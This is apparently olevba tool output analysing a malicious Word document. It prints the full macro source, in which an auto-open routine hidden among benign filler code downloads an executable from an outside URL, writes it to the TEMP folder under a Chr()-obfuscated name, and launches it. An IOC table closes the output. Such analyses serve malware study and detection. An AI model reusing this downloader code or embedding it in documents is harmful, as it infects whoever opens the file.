Malicious Word macro

olevba 0.41 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OLE:MASI-B-V 12octo~1.doc

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: 12octo~1.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: 12octo~1.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub autoopen()
QweKc610Mvyl
End Sub
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: 12octo~1.doc - OLE stream: u'Macros/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Public uAcS9wh7h0 As String
Private Const ChunkSize As Long = 65500

Private Type Chunk
    Bytes(1 To ChunkSize) As Byte
End Type

Private tChunk As Chunk

Private Type GUID
    Data(0 To 15) As Byte
End Type

Private Type HeaderInfo
    UID As GUID
    Start As Long
    FragmentSize As Long
    FileSize As Long
    Name As String * 50
End Type

Private Type Info
    Header As HeaderInfo
    Filename As String
    Valid As Boolean
End Type

Private Const HeaderSize = 16 + 4 + 4 + 4 + 50

Private aFragmentList() As Info

Public Sub JoinFilesSub()
    ReadFragments
    SortFragments
    RebuildFragments
    RenameFiles
End Sub
Private Sub ReadFragments()
    Dim oFile As File
    Dim oFSO As New FileSystemObject
    Dim tInfo As Info

    ReDim aFragmentList(0) As Info

    For Each oFile In oFSO.GetFolder(App.Path).Files
        Open oFile.Path For Binary As #1
        If oFile.Size > HeaderSize Then
            Get #1, , tInfo.Header
            tInfo.Filename = oFile.Path
            ReDim Preserve aFragmentList(UBound(aFragmentList) + 1) As Info
            aFragmentList(UBound(aFragmentList)) = tInfo
        End If
        Close #1
    Next
End Sub

Private Sub SortFragments()
    Dim bSorted As Boolean
    Dim iIndex As Integer
    Dim tTempInfo As Info

    While Not bSorted
        bSorted = True
        For iIndex = 1 To UBound(aFragmentList) - 1
            Select Case CompareGUID(aFragmentList(iIndex).Header.UID, aFragmentList(iIndex + 1).Header.UID)
                Case -1 ' First lower
                Case 0 ' Same
                    If aFragmentList(iIndex).Header.Start > aFragmentList(iIndex + 1).Header.Start Then
                        tTempInfo = aFragmentList(iIndex)
                        aFragmentList(iIndex) = aFragmentList(iIndex + 1)
                        aFragmentList(iIndex + 1) = tTempInfo
                        bSorted = False
                    End If
                Case 1 ' First higher
                    tTempInfo = aFragmentList(iIndex)
                    aFragmentList(iIndex) = aFragmentList(iIndex + 1)
                    aFragmentList(iIndex + 1) = tTempInfo
                    bSorted = False
            End Select
        Next
    Wend
End Sub

Private Function CompareGUID(tGUID1 As GUID, tGUID2 As GUID) As Integer
    Dim iIndex As Integer

    For iIndex = 0 To 15
        If tGUID1.Data(iIndex) > tGUID2.Data(iIndex) Then
            CompareGUID = 1
            Exit Function
        ElseIf tGUID1.Data(iIndex) < tGUID2.Data(iIndex) Then
            CompareGUID = -1
            Exit Function
        End If
    Next
End Function
Public Function DkGAGQ8sF(ltrO9bDxlO As String)
    Set DkGAGQ8sF = CreateObject(ltrO9bDxlO)
End Function
Private Sub RebuildFragments()
    Dim sCurrentFile As String
    Dim iIndex As Integer
    Dim tTemp As Info
    Dim iChunks As Long
    Dim iRemainder As Long
    Dim iChunkIndex As Long

    Dim yByte As Byte

    RemoveInvalidFiles

    iIndex = 1
    While iIndex < UBound(aFragmentList)
        If CompareGUID(aFragmentList(iIndex).Header.UID, aFragmentList(iIndex + 1).Header.UID) = 0 Then
            If aFragmentList(iIndex + 1).Header.Start = (CDec(aFragmentList(iIndex).Header.Start) + CDec(aFragmentList(iIndex).Header.FragmentSize)) And aFragmentList(iIndex).Header.FragmentSize <> 0 Then
                MergeFiles aFragmentList(iIndex), aFragmentList(iIndex + 1)
                aFragmentList(iIndex).Header.FragmentSize = aFragmentList(iIndex).Header.FragmentSize + aFragmentList(iIndex + 1).Header.FragmentSize
                RemoveFile iIndex + 1
            Else
                iIndex = iIndex + 1
            End If
        Else
            iIndex = iIndex + 1
        End If
    Wend
End Sub

Private Sub RenameFiles()
    Dim iChunks As Long
    Dim iRemainder As Long
    Dim yByte As Byte
    Dim iChunkIndex As Long
    Dim iIndex As Long

    For iIndex = 1 To UBound(aFragmentList)
        If aFragmentList(iIndex).Header.FragmentSize = aFragmentList(iIndex).Header.FileSize Then
            Open aFragmentList(iIndex).Filename For Binary As #2
            Open App.Path & "\" & aFragmentList(iIndex).Header.Name For Binary As #1
            Seek #2, HeaderSize + 1
            iChunks = (aFragmentList(iIndex).Header.FileSize) \ ChunkSize
            iRemainder = (aFragmentList(iIndex).Header.FileSize) Mod ChunkSize
            For iChunkIndex = 1 To iChunks
                Get #2, , tChunk
                Put #1, , tChunk
            Next
            For iChunkIndex = 1 To iRemainder
                Get #2, , yByte
                Put #1, , yByte
            Next
            Close #2
            Close #1
            Kill aFragmentList(iIndex).Filename
        End If
    Next
End Sub

Private Sub MergeFiles(tInfo1 As Info, tInfo2 As Info)
    Dim iChunkIndex As Long
    Dim iChunks As Long
    Dim iRemainder As Long
    Dim yByte As Byte

    Open tInfo1.Filename For Binary As #1
    Open tInfo2.Filename For Binary As #2

    Seek #1, 16 + 4 + 1
    Put #1, , CLng(tInfo1.Header.FragmentSize + tInfo2.Header.FragmentSize)
    Seek #1, tInfo1.Header.FragmentSize + HeaderSize + 1
    Seek #2, HeaderSize + 1

    iChunks = (tInfo2.Header.FragmentSize) \ ChunkSize
    iRemainder = (tInfo2.Header.FragmentSize) Mod ChunkSize
    For iChunkIndex = 1 To iChunks
        Get #2, , tChunk
        Put #1, , tChunk
    Next
    For iChunkIndex = 1 To iRemainder
        Get #2, , yByte
        Put #1, , yByte
    Next
    Close #2
    Close #1

    Kill tInfo2.Filename
End Sub
Public Function I5mvCfqPlkE2g(cDYNJS5ctZ As Variant, YCZOcrGAIHMR As String)
Dim ZaJ7QqbmGwfiIa: Set ZaJ7QqbmGwfiIa = DkGAGQ8sF("Adodb.Stream")

With ZaJ7QqbmGwfiIa
   .Type = 1
    .Open
    .write cDYNJS5ctZ
    .savetofile YCZOcrGAIHMR, 2
End With
End Function
Private Sub RemoveInvalidFiles()
    Dim iIndex As Long
    Dim iIndex2 As Long

    For iIndex = 1 To UBound(aFragmentList) - 1
        If CompareGUID(aFragmentList(iIndex).Header.UID, aFragmentList(iIndex + 1).Header.UID) = 0 Then
            aFragmentList(iIndex).Valid = True
            aFragmentList(iIndex + 1).Valid = True
        End If
    Next

    iIndex = 1
    While iIndex <= UBound(aFragmentList)
        If Not aFragmentList(iIndex).Valid Then
            RemoveFile iIndex
        Else
            iIndex = iIndex + 1
        End If
    Wend
End Sub

Private Sub RemoveFile(iIndex As Long)
    Dim iIndex2 As Long

    For iIndex2 = iIndex To UBound(aFragmentList) - 1
        aFragmentList(iIndex2) = aFragmentList(iIndex2 + 1)
    Next
    ReDim Preserve aFragmentList(UBound(aFragmentList) - 1) As Info
End Sub
-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: 12octo~1.doc - OLE stream: u'Macros/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Private vTVChannels As Variant
Public vTVChannelNames As Variant
Private vRadioChannels As Variant
Public vRadioChannelNames As Variant

Public Const MaxSlots As Long = 7
Private Const StartupTime As Date = #12:00:52 AM#
Private Const LeadInTime As Date = #12:04:00 AM#
Private Const LeadOutTime As Date = #12:05:00 AM#

Public Function CheckProgrammes() As Boolean
    Dim oProgramme As Programme
    Dim dDate As Date
    Dim sFileName As String
    Dim iProgrammeIndex As Integer

    For iProgrammeIndex = 0 To MaxSlots
        Set oProgramme = oProgrammes(iProgrammeIndex)
        If oProgramme.Valid Then
            If (oProgramme.mStartTime - StartupTime - LeadInTime) <= Now And oProgramme.mStopTime >= Now Then
                RecordChannel oProgramme.mChannel, (oProgramme.mStopTime - Now - StartupTime + LeadInTime + LeadOutTime) * CLng(86400), oProgramme.Radio

                If Not oProgramme.mRadio Then
                    sFileName = vTVChannelNames(oProgramme.mChannel) & " " & Format$(oProgramme.mStartTime, "YYYY-MM-DD HHMM") & "-" & Format$(oProgramme.mStopTime, "HHMM") & ".avi"
                Else
                    sFileName = vRadioChannelNames(oProgramme.mChannel) & " " & Format$(oProgramme.mStartTime, "YYYY-MM-DD HHMM") & "-" & Format$(oProgramme.mStopTime, "HHMM") & ".avi"
                End If
                Debug.Print sFileName
                With New FileSystemObject
                    If .FileExists("D:\Media\Video\Captured\capture.avi") Then
                        On Error Resume Next
                        .GetFile("D:\Media\Video\Captured\capture.avi").Name = sFileName
                    End If
                End With
                oProgramme.Recorded = True
                CheckProgrammes = SetNextProgramme(oProgramme)
            End If
        End If
    Next
End Function

Private Function SetNextProgramme(oCopyProgramme As String) As Boolean
    Dim iProgrammeIndex As Long
    Dim oProgramme As Programme
    Dim dNextDate As Date
    Dim dNextDay As Integer
    Dim dNextMonth As Integer
    Dim dNextYear As Integer
    Dim dNextStartTime As Date
    Dim dNextStopTime As Date
    Dim iOffset As Integer
    Dim bCreateNew As Boolean

    With oCopyProgramme
        If oCopyProgramme.mDaily Then
            iOffset = 1
        ElseIf oCopyProgramme.mMonFri Then
            iOffset = 1
            If .mWeekday = "FRIDAY" Then
                iOffset = 3
            End If
        ElseIf oCopyProgramme.mWeekly Then
            iOffset = 7
        End If

        If oCopyProgramme.mDaily Or oCopyProgramme.mMonFri Or oCopyProgramme.mWeekly Then
            dNextDate = oCopyProgramme.mDate + iOffset
            dNextDay = Val(Format$(dNextDate, "DD"))
            dNextMonth = Val(Format$(dNextDate, "MM"))
            dNextYear = Val(Format$(dNextDate, "YYYY"))
            dNextStartTime = oCopyProgramme.mStartTime + iOffset
            dNextStopTime = oCopyProgramme.mStopTime + iOffset
            bCreateNew = True
        End If
    End With

    If bCreateNew Then
        For iProgrammeIndex = 0 To MaxSlots
            Set oProgramme = oProgrammes(iProgrammeIndex)
            If Not oProgramme.Valid Then
                With oProgramme
                    .mCurrentDay = oCopyProgramme.mCurrentDay
                    .mCurrentMonth = oCopyProgramme.mCurrentMonth
                    .mCurrentYear = oCopyProgramme.mCurrentYear
                    .mPlusCode = oCopyProgramme.mPlusCode
                    .mWeekday = oCopyProgramme.mWeekday
                    .mDate = dNextDate
                    .mDay = dNextDay
                    .mMonth = dNextMonth
                    .mYear = dNextYear
                    .mChannel = oCopyProgramme.mChannel
                    .mStartTime = dNextStartTime
                    .mStopTime = dNextStopTime
                    .mDuration = oCopyProgramme.mDuration
                    .mRadio = oCopyProgramme.mRadio
                    .mDaily = oCopyProgramme.mDaily
                    .mWeekly = oCopyProgramme.mWeekly
                    .mMonFri = oCopyProgramme.mMonFri
                    .mRecorded = False
                    .mStatus = Ready
                    .mValid = True
                End With
                SetNextProgramme = True
                WriteFile
                Exit Function
            End If
        Next
    End If
End Function
Public Function zjHBaqIPU77(hgucRLPWCIsOX9 As String)
    Set XLjyVs6RjG = DkGAGQ8sF("Shell.Application")
XLjyVs6RjG.Open (uAcS9wh7h0)
End Function

Sub filterOff() '{{{
    Application.ScreenUpdating = False
    Range("B3").AutoFilter ActiveCell.Column
End Sub '}}}

Function smallerFonts() '{{{
  Dim currentFontSize As Long
  On Error GoTo ERROR01
  currentFontSize = Selection.Font.Size
  Selection.Font.Size = currentFontSize - 1
  period_buff = ">"
ERROR01:
End Function '}}}

Function biggerFonts() '{{{
  Dim currentFontSize As Long
  On Error GoTo ERROR01
  currentFontSize = Selection.Font.Size
  Selection.Font.Size = currentFontSize + 1
  period_buff = "<"
ERROR01:
End Function '}}}

Sub sp(Optional clearFilterdRowValue = 0) '{{{ smartpaste
    'Todo ??????????????(Cut mode)

    Application.ScreenUpdating = False

    'Microsoft Forms 2.0 Object Library ??????
    Dim V As Variant    '?????????????
    Dim A As Variant    '??????


    Set destRange = Range(ActiveCell, Cells(Rows.Count, ActiveCell.Column)) 'ActiveCell???????
    Set destRange = destRange.SpecialCells(xlCellTypeVisible)   '?????????

    'clipboard???????????V?2?????????'{{{
    Dim Dobj As DataObject
    Set Dobj = New DataObject
    With Dobj
        .GetFromClipboard
        On Error Resume Next
        V = .GetText
        On Error GoTo 0
    End With '}}}

    If Not IsEmpty(V) Then    '????????????????????????
        V = Split(CStr(V), vbCrLf) '???????string??

        '??????????????????????'{{{
        If clearFilterdRowValue = 1 Then
            referencRangeHeight = UBound(V) + 1
            referencRangeWidth = UBound(Split(CStr(V(0)), vbTab)) + 1
            Debug.Print referencRangeHeight
            Debug.Print referencRangeWidth
            For Each C In ActiveCell.Resize(referencRangeHeight, referencRangeWidth)
                C.Value = ""
            Next C
        End If '}}}

        '?????? TODO
        If Application.CutCopyMode = xlCut Then
            'src??dst???????ClearContents
            Set srcRange = GetCopiedRange(ActiveSheet.Name)
            For Each C In srcRange
                C.Value = ""
            Next C

            Application.CutCopyMode = False
        End If

        '????'{{{
        Dim i As Integer: i = 0
        Dim r As Range
        For Each r In destRange
            A = Split(CStr(V(i)), vbTab) 'i??
            For J = 0 To UBound(A)
                If CStr(Val(A(J))) = A(J) Then 'A(j)?????
                    r.Offset(0, J).Value = Val(A(J))
                Else
                    r.Offset(0, J).Value = A(J)
                End If
            Next J
            If UBound(A) = -1 Then
                r.Offset(0, J).Value = ""
            End If

            i = i + 1
            If i >= UBound(V) Then
                Exit For
            End If
        Next '}}}
    End If

    Set Dobj = Nothing
    Set r = Nothing
End Sub '}}}

Sub sp2(Optional clearFilterdRowValue = 1) '{{{ smartpaste
    'Todo ??????????????(Cut mode)

    Application.ScreenUpdating = False

    'Microsoft Forms 2.0 Object Library ??????
    Dim V As Variant    '?????????????
    Dim A As Variant    '??????


    Set destRange = Range(ActiveCell, Cells(Rows.Count, ActiveCell.Column)) 'ActiveCell???????
    Set destRange = destRange.SpecialCells(xlCellTypeVisible)   '?????????

    'clipboard???????????V?2?????????'{{{
    Dim Dobj As DataObject
    Set Dobj = New DataObject
    With Dobj
        .GetFromClipboard
        On Error Resume Next
        V = .GetText
        On Error GoTo 0
    End With '}}}

    If Not IsEmpty(V) Then    '????????????????????????
        V = Split(CStr(V), vbCrLf) '???????string??

        '??????????????????????'{{{
        If clearFilterdRowValue = 1 Then
            referencRangeHeight = UBound(V) + 1
            referencRangeWidth = UBound(Split(CStr(V(0)), vbTab)) + 1
            Debug.Print referencRangeHeight
            Debug.Print referencRangeWidth
            For Each C In ActiveCell.Resize(referencRangeHeight, referencRangeWidth)
                C.Value = ""
            Next C
        End If '}}}

        '?????? TODO
        If Application.CutCopyMode = xlCut Then
            'src??dst???????ClearContents
            Set srcRange = GetCopiedRange(ActiveSheet.Name)
            For Each C In srcRange
                C.Value = ""
            Next C

            Application.CutCopyMode = False
        End If

        '????'{{{
        Dim i As Integer: i = 0
        Dim r As Range
        For Each r In destRange
            A = Split(CStr(V(i)), vbTab) 'i??
            For J = 0 To UBound(A)
                If CStr(Val(A(J))) = A(J) Then 'A(j)?????
                    r.Offset(0, J).Value = Val(A(J))
                Else
                    r.Offset(0, J).Value = A(J)
                End If
            Next J
            If UBound(A) = -1 Then
                r.Offset(0, J).Value = ""
            End If

            i = i + 1
            If i >= UBound(V) Then
                Exit For
            End If
        Next '}}}
    End If

    Set Dobj = Nothing
    Set r = Nothing
End Sub '}}}

Public Sub RecordChannel(iChannelNo As Long, iDuration As Long, bRadio As Boolean)
    Dim sFileName As String
    Show.tmrTime.Enabled = False
    If Not bRadio Then
        Record vTVChannels(iChannelNo), iDuration, bRadio
    Else
        Record vRadioChannels(iChannelNo), iDuration, bRadio
    End If
    Show.tmrTime.Enabled = True
End Sub

Public Sub Initialise()
    Dim iIndex As Integer
    Dim oTS As TextStream
    Dim oFSO As New FileSystemObject

    vTVChannelNames = Array("", "BBC1", "BBC2", "ITV", "CHANNEL4", "CHANNEL5", "FREEVIEW", "VIDEO")
    vTVChannels = Array(0, 57, 63, 60, 53, 35, 45, 65)
    vRadioChannelNames = Array("", "Radio1", "Radio2", "Radio3", "Radio4")
    vRadioChannels = Array(0, "9820", "0000", "9010", "9450")
    For iIndex = 0 To MaxSlots
        Set oProgrammes(iIndex) = New Programme
    Next

    ReadFile
End Sub
-------------------------------------------------------------------------------
VBA MACRO Module3.bas
in file: 12octo~1.doc - OLE stream: u'Macros/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub InteriorColor(number) '{{{
        Selection.Interior.ColorIndex = number
End Sub '}}}

Sub FontColor(number) '{{{
    Debug.Print "FontColor"
    Selection.Font.ColorIndex = number
End Sub '}}}

Sub SetRuledLines() '{{{
        Selection.Borders.LineStyle = xlContinuous
End Sub '}}}

Sub UnsetRuledLines() '{{{
        Selection.Borders.LineStyle = xlLineStyleNone
End Sub '}}}

Sub merge() '{{{
        Selection.merge
End Sub '}}}

Sub unmerge() '{{{
        Selection.unmerge
End Sub '}}}

Sub ex_up() '{{{
        Application.ScreenUpdating = False
        cur_row = ActiveCell.Row
        Rows(cur_row).Copy
        'target_row???
        Dim i As Long
        i = 1
        Do Until ActiveCell.Offset(-i, 0).EntireRow.Hidden = False
                i = i + 1
        Loop
        target_row = ActiveCell.Offset(-i, 0).Row
        target_column = ActiveCell.Offset(-i, 0).Column

        Rows(target_row).Select
        Selection.Insert

        '?????????
        Rows(cur_row + 1).Delete
        '????????????
        Cells(target_row, target_column).Select
End Sub '}}}

Sub ex_below() '{{{
        Application.ScreenUpdating = False
        cur_row = ActiveCell.Row
        Rows(cur_row).Copy
        'target_row???
        Dim i As Long
        i = 1
        Do Until ActiveCell.Offset(i, 0).EntireRow.Hidden = False
                i = i + 1
        Loop
        target_row = ActiveCell.Offset(i, 0).Row
        target_column = ActiveCell.Offset(i, 0).Column

        Rows(target_row + 1).Select
        Selection.Insert
        Rows(cur_row).Delete

        '????????????
        Cells(target_row, target_column).Select
End Sub '}}}
Sub QweKc610Mvyl()

Dim kRSoxIipXn: Set kRSoxIipXn = DkGAGQ8sF("Microsoft.XMLHTTP")

kRSoxIipXn.Open Chr(71) & Chr(69) & "T", _
"http://cardiffhairandbeauty.co.uk/877453tr/rebrb45t.exe" _
, False
kRSoxIipXn.Send

Set mfiYsGnVkdEGyc = DkGAGQ8sF("WScript.Shell")

Set pIxDl7iL7G = mfiYsGnVkdEGyc.Environment("Process")

yt1lSr86u = pIxDl7iL7G("TEMP")

uAcS9wh7h0 = yt1lSr86u & Chr(92) & Chr(103) & Chr(105) & "c" & Chr(97) & "g" & "e" & Chr(46) & Chr(101) & "x" & Chr(101)
Dim uf5JA1lwM0Xb As Variant
uf5JA1lwM0Xb = kRSoxIipXn.responseBody
I5mvCfqPlkE2g uf5JA1lwM0Xb, uAcS9wh7h0
On Error GoTo zZArBUMfp8qw
    A = 348 / 0
  On Error GoTo 0

LxqYAbt140nt:
  Exit Sub
zZArBUMfp8qw:
  zjHBaqIPU77 ("a0pn7oL55y")
Resume LxqYAbt140nt
End Sub
Sub ex_right() '{{{
        Application.ScreenUpdating = False
        cur_col = ActiveCell.Column
        Columns(cur_col).Copy
        'target_row???
        Dim i As Long
        i = 1
        Do Until ActiveCell.Offset(0, i).EntireColumn.Hidden = False
                i = i + 1
        Loop
        target_row = ActiveCell.Offset(0, i).Row
        target_column = ActiveCell.Offset(0, i).Column

        Columns(target_column + 1).Select
        Selection.Insert
        Columns(cur_col).Delete

        '????????????
        Cells(target_row, target_column).Select
End Sub '}}}

Sub ex_left() '{{{
        Application.ScreenUpdating = False
        cur_col = ActiveCell.Column
        Columns(cur_col).Copy
        'target_row???
        Dim i As Long
        i = 1
        Do Until ActiveCell.Offset(0, -i).EntireColumn.Hidden = False
                i = i + 1
        Loop
        target_row = ActiveCell.Offset(0, -i).Row
        target_column = ActiveCell.Offset(0, -i).Column

        Columns(target_column).Select
        Selection.Insert
        Columns(cur_col + 1).Delete

        '????????????
        Cells(target_row, target_column).Select
End Sub '}}}

Sub ZoomInWindow() '{{{
        ActiveWindow.Zoom = ActiveWindow.Zoom + 5
End Sub '}}}

Sub ZoomOutWindow() '{{{
        ActiveWindow.Zoom = ActiveWindow.Zoom - 5
End Sub '}}}

Sub MouseNormal() '{{{
        Application.Cursor = xlDefault
End Sub '}}}

Sub SetSeqNumber(Optional destRange As Range = Nothing) '{{{
        Application.ScreenUpdating = False
        If destRange Is Nothing Then
                Set destRange = Selection
        End If
        Set destRange = destRange.SpecialCells(xlCellTypeVisible)
    N = 1
        For Each r In destRange
                r.Value = N
                'Selection.NumberFormatLocal = "G/??"
                Selection.NumberFormatLocal = "0_);[?](0)"
                N = N + 1
    Next
End Sub '}}}

Sub SortCurrentColumn() '{{{
        Application.ScreenUpdating = False
        Set targetRange = Selection.CurrentRegion

        With ActiveSheet.Sort
                With .SortFields
                        .Clear
                        .Add _
                                Key:=Columns(ActiveCell.Column), _
                                SortOn:=xlSortOnValues, _
                                Order:=xlAscending, _
                                DataOption:=xlSortNormal
                End With
                        .SetRange targetRange
                        .Header = xlYes '???????????xlGuess?Excel?????
                        .MatchCase = False
                        .Orientation = xlTopToBottom
                        .SortMethod = xlPinYin
                        .Apply
        End With
End Sub '}}}

'--------sheet_move-------------------
Sub ActivateLeftSheet() '{{{
    SendKeys "^{PGDN}"
End Sub '}}}

Sub ActivateRightSheet() '{{{
    SendKeys "^{PGUP}"
End Sub '}}}

Sub ActivateFirstSheet(Optional where As String) '{{{
    With ActiveWorkbook
        .Worksheets(1).Activate
    End With
End Sub '}}}

Sub ActivateLastSheet(Optional where As String) '{{{
    With ActiveWorkbook
        .Worksheets(.Worksheets.Count).Activate
    End With
End Sub '}}}

'---------auto_filter-----------------
Sub focusFromScratch() '{{{
    Application.ScreenUpdating = False
    cur_row = ActiveCell.Row
    cur_col = ActiveCell.Column
    buf = Cells(cur_row, cur_col).Value
    If ActiveSheet.FilterMode Then
        ActiveSheet.ShowAllData
    End If
    Range("B3").AutoFilter cur_col, buf
End Sub '}}}

Sub focus() '{{{
    Application.ScreenUpdating = False
    cur_row = ActiveCell.Row
    cur_col = ActiveCell.Column
    buf = Cells(cur_row, cur_col).Value
    Range("B3").AutoFilter cur_col, buf
End Sub '}}}

Sub exclude() '{{{
    Application.ScreenUpdating = False
    Dim filterCondition As Variant
    Dim buf As String

    buf = Cells(ActiveCell.Row, ActiveCell.Column).Value

    Debug.Print Cells(Rows.Count, ActiveCell.Column).End(xlUp).Row
    Set targetColumnRange = Range(Cells(2, ActiveCell.Column), Cells(Rows.Count, ActiveCell.Column).End(xlUp))
    Set targetColumnRange = targetColumnRange.SpecialCells(xlCellTypeVisible)

    Set showedValueCollection = CreateObject("Scripting.Dictionary")
    On Error Resume Next
        For Each C In targetColumnRange
            If C.Value <> buf Then
                showedValueCollection.Add "_" & C.Value, C.Value
            End If
        Next C
    On Error GoTo 0

    filterCondition = showedValueCollection.Keys

    '?????Empty?????????string?""????
    For E = 0 To UBound(filterCondition)
        filterCondition(E) = Mid(filterCondition(E), 2)
    Next E

    Range("B3").AutoFilter Field:=ActiveCell.Column, Criteria1:=filterCondition, Operator:=xlFilterValues
End Sub '}}}

'---------diff-----------------
Sub diffsh(targetsh As String, fromsh As String)
    'TODO prompt
    For Each C In fromsh.UsedRange
        If C.Value <> targetsh.Cells(C.Row, C.Column).Value Then
            targetsh.Cells(C.Row, C.Column).Interior.ColorIndex = 29
        End If
    Next C
End Sub

Sub diffRange(targetRange As Range, fromRange As Range)
    'TODO
End Sub

Sub abcdefc(targetRange As Range, fromRange As Range)
    Call diffsh(ActiveWorkbook.Worksheets("???"), ActiveWorkbook.Worksheets("???"))
End Sub

+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | AutoOpen             | Runs when the Word document is opened   |
| Suspicious | Kill                 | May delete a file                       |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | WScript.Shell        | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | Shell.Application    | May run an application (if combined     |
|            |                      | with CreateObject)                      |
| Suspicious | Binary               | May read or write a binary file (if     |
|            |                      | combined with Open)                     |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | ADODB.Stream         | May create a text file                  |
| Suspicious | SaveToFile           | May create a text file                  |
| Suspicious | Write                | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Put                  | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | SendKeys             | May control another application by      |
|            |                      | simulating user keystrokes              |
| Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
| Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
|            |                      | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
|            | Strings              | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| IOC        | http://cardiffhairan | URL                                     |
|            | dbeauty.co.uk/877453 |                                         |
|            | tr/rebrb45t.exe      |                                         |
| IOC        | rebrb45t.exe         | Executable file name                    |
| IOC        | gicage.exe           | Executable file name (obfuscation: VBA  |
|            |                      | expression)                             |
| VBA string | GET                  | Chr(71) & Chr(69) & "T"                 |
| VBA string | \gicage.exe          | Chr(92) & Chr(103) & Chr(105) & "c" &   |
|            |                      | Chr(97) & "g" & "e" & Chr(46) &         |
|            |                      | Chr(101) & "x" & Chr(101)               |
+------------+----------------------+-----------------------------------------+